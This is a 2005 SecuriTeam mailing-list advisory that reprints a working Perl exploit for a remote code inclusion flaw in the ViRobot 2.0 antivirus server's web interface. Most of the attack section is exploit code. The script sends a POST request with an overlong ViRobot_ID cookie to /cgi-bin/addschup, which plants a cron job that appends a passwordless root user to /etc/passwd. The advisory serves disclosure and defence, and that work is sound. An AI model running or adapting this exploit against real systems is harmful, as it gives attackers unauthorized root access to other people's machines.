[EXPL] ViRobot Remote Code Inclusion (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  ViRobot Remote Code Inclusion (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.hauri.net/> ViRobot is a resource-thrifty scanner that lets 
you do a full scan quickly while you work. Scheduled scan and update 
wizards make it easy to keep your PC clean and your antivirus protection 
up to date."

Flaws in ViRobot UNIX/Linux Server web user interface allows remote code 
inclusion, the following exploit code will add r00t login to a vulnerable 
system, in addition this user will also have root privileges.

DETAILS

Vulnerable Systems:
 * ViRobot version 2.0

Exploit:
#!/usr/bin/perl
# ViRobot 2.0 remote cookie exploit - ala addschup
# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# ls: /var/spool/cron/root: No such file or directory
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# -rw-r--r--  1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
#
# We control the 6th paramater passed to an fprintf call.
#
# 0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > 
/dev/null 2>&1\n"
#
# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd 
&/ViRobot/vrupdate -s > /dev/null 2>&1


use IO::Socket;
$hostName = $ARGV[0];

$sock = IO::Socket::INET->new (
               Proto => "tcp",
               PeerAddr => $hostName,
               PeerPort => 8080,
               Type => SOCK_STREAM
);

if (! $sock)
{
       print "[*] Error, could not connect to the remote host: $!\n";
       exit (0);
}

$target = "/cgi-bin/addschup";
$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";
$postbody = "POST $target HTTP/1.1\n" .
"Host: localhost:8080\n" .
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) 
Gecko/20041007 Debian/1.7.3-5\n" .
"Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" .
"Accept-Encoding: gzip,deflate\n" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
"Keep-Alive: 300\n" .
"Connection: keep-alive\n" .
"Content-type: application/x-www-form-urlencoded\n" .
"Content-length: 1\n" .
"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

print $sock $postbody;
close ($sock);
exit (0);


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:kf_lists@digitalmunition.com> Kevin Finisterre.
The original article can be found at:  
<http://www.digitalmunition.com/DMA%5B2005-0614a%5D.txt> 
http://www.digitalmunition.com/DMA%5B2005-0614a%5D.txt
The original article can be found at:  
<http://www.digitalmunition.com/virobot_ex.pl> 
http://www.digitalmunition.com/virobot_ex.pl



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.